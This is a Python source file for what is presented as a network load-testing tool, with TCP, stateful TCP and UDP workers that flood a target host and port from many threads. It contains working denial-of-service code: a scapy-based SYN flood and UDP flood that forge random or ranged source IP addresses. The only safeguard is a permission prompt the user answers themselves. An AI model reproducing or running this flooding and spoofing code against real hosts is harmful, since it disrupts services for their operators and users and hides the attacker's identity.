workers.py

import socket
import time
import random
import logging
import struct
import os
from concurrent.futures import ThreadPoolExecutor
from scapy.all import IP, TCP, UDP, RandIP, Raw, send
import threading

logger = logging.getLogger(__name__)

def create_worker(args, metrics):
    """Factory function to create the appropriate worker."""
    if args.protocol == 'tcp':
        if args.stateful:
            return StatefulTCPWorker(args, metrics)
        else:
            return TCPWorker(args, metrics)
    elif args.protocol == 'udp':
        return UDPWorker(args, metrics)
    else:
        raise ValueError(f"Unsupported protocol: {args.protocol}")

class BaseWorker:
    def __init__(self, args, metrics):
        self.args = args
        self.target = args.target
        self.port = args.port
        self.duration = args.duration
        self.threads = args.threads
        self.packet_size = args.packet_size
        self.interval = args.interval
        self.syn_flood = args.syn_flood
        self.ip_range = args.ip_range
        self.metrics = metrics
        self.stop_event = threading.Event()
        self.start_time = 0

    def generate_payload(self):
        """Generate random payload data for packets"""
        return random.randbytes(self.packet_size)

    def get_spoofed_ip(self):
        """Generate a spoofed source IP address"""
        if self.ip_range:
            start_ip, end_ip = self.ip_range.split('-')
            start = struct.unpack('>I', socket.inet_aton(start_ip))[0]
            end = struct.unpack('>I', socket.inet_aton(end_ip))[0]
            ip_int = random.randint(start, end)
            return socket.inet_ntoa(struct.pack('>I', ip_int))
        else:
            return RandIP()._fix()

    def run(self):
        """Run the load test"""
        logger.info(f"Starting load test against {self.target}:{self.port} for {self.duration} seconds")
        logger.info(f"Using {self.threads} threads with {self.packet_size} byte packets")

        if self.syn_flood:
            logger.info(f"SYN flood enabled: {self.ip_range if self.ip_range else 'random IPs'}")

        print("\nWARNING: This tool should only be used for authorized testing")
        if input("I confirm I have permission to test this target (y/N): ").lower() != 'y':
            logger.info("Test aborted by user")
            return

        self.start_time = time.time()

        reporter_thread = threading.Thread(target=self.status_reporter)
        reporter_thread.daemon = True
        reporter_thread.start()

        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = [executor.submit(self.worker) for _ in range(self.threads)]
            try:
                time.sleep(self.duration)
                self.stop_event.set()
                for future in futures:
                    future.result(timeout=1)
            except KeyboardInterrupt:
                logger.info("Test interrupted by user")
                self.stop_event.set()

        self.final_report()

    def worker(self):
        raise NotImplementedError

    def status_reporter(self):
        """Reports statistics during the test"""
        while not self.stop_event.is_set():
            summary = self.metrics.get_summary()
            logger.info(f"Running for {summary['elapsed_time']:.2f}s | "
                        f"Sent: {summary['packets_sent']} packets | "
                        f"Rate: {summary['packets_per_second']:.2f} packets/sec | "
                        f"Bandwidth: {summary['bits_per_second']/1024/1024:.2f} MB/s | "
                        f"Errors: {summary['errors']} | "
                        f"Avg Latency: {summary['average_latency_ms']:.2f}ms")
            time.sleep(1)

    def final_report(self):
        """Prints the final report and saves it if requested."""
        summary = self.metrics.get_summary()
        logger.info(f"\nTest completed. Duration: {summary['elapsed_time']:.2f} seconds")
        logger.info(f"Total packets sent: {summary['packets_sent']}")
        logger.info(f"Total data sent: {summary['bytes_sent']/1024/1024:.2f} MB")
        logger.info(f"Average rate: {summary['packets_per_second']:.2f} packets/sec")
        logger.info(f"Average bandwidth: {summary['bits_per_second']/1024/1024:.2f} MB/s")
        logger.info(f"Total errors: {summary['errors']}")
        logger.info(f"Average latency: {summary['average_latency_ms']:.2f} ms")
        logger.info(f"Average jitter: {summary['average_jitter_ms']:.2f} ms")

        if self.args.output_json:
            self.metrics.save_to_json(self.args.output_json)
            logger.info(f"Metrics saved to {self.args.output_json}")
        if self.args.output_csv:
            self.metrics.save_to_csv(self.args.output_csv)
            logger.info(f"Metrics saved to {self.args.output_csv}")


class TCPWorker(BaseWorker):
    def worker(self):
        """TCP worker with optional IP spoofing"""
        payload = self.generate_payload()
        prev_latency = None

        if not self.syn_flood:
            while not self.stop_event.is_set():
                try:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(2)
                    
                    start_conn = time.time()
                    sock.connect((self.target, self.port))
                    latency = time.time() - start_conn

                    sock.send(payload)
                    
                    self.metrics.record_packet(len(payload), latency, prev_latency)
                    prev_latency = latency
                    
                    sock.close()
                    time.sleep(self.interval)
                except socket.error:
                    self.metrics.record_error()
                    time.sleep(0.1)
                except Exception as e:
                    logger.error(f"TCP worker error: {str(e)}")
                    self.metrics.record_error()
        else:
            # Scapy-based TCP with IP spoofing (SYN flood)
            while not self.stop_event.is_set():
                try:
                    src_ip = self.get_spoofed_ip()
                    src_port = random.randint(1025, 65535)
                    
                    packet = IP(src=src_ip, dst=self.target)/TCP(sport=src_port, dport=self.port, flags="S")/Raw(load=payload)
                    
                    send(packet, verbose=0)
                    
                    self.metrics.record_packet(len(payload))
                    
                    time.sleep(self.interval)
                except Exception as e:
                    logger.error(f"TCP spoof worker error: {str(e)}")
                    self.metrics.record_error()

class StatefulTCPWorker(BaseWorker):
    def worker(self):
        """Stateful TCP worker that maintains a connection."""
        payload = self.generate_payload()
        prev_latency = None

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            
            start_conn = time.time()
            sock.connect((self.target, self.port))
            latency = time.time() - start_conn
            self.metrics.record_packet(0, latency, prev_latency) # Record connection latency
            prev_latency = latency

            while not self.stop_event.is_set():
                try:
                    sock.send(payload)
                    self.metrics.record_packet(len(payload))
                    time.sleep(self.interval)
                except socket.error:
                    self.metrics.record_error()
                    # Attempt to reconnect
                    sock.close()
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(5)
                    sock.connect((self.target, self.port))
        except Exception as e:
            logger.error(f"Stateful TCP worker error: {str(e)}")
            self.metrics.record_error()
        finally:
            if sock:
                sock.close()


class UDPWorker(BaseWorker):
    def worker(self):
        """UDP worker with optional IP spoofing"""
        payload = self.generate_payload()
        
        if not self.syn_flood:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            while not self.stop_event.is_set():
                try:
                    sock.sendto(payload, (self.target, self.port))
                    self.metrics.record_packet(len(payload))
                    time.sleep(self.interval)
                except Exception as e:
                    logger.error(f"UDP worker error: {str(e)}")
                    self.metrics.record_error()
        else:
            # Scapy-based UDP with IP spoofing
            while not self.stop_event.is_set():
                try:
                    src_ip = self.get_spoofed_ip()
                    src_port = random.randint(1025, 65535)
                    
                    packet = IP(src=src_ip, dst=self.target)/UDP(sport=src_port, dport=self.port)/Raw(load=payload)
                    
                    send(packet, verbose=0)
                    
                    self.metrics.record_packet(len(payload))
                    
                    time.sleep(self.interval)
                except Exception as e:
                    logger.error(f"UDP spoof worker error: {str(e)}")
                    self.metrics.record_error()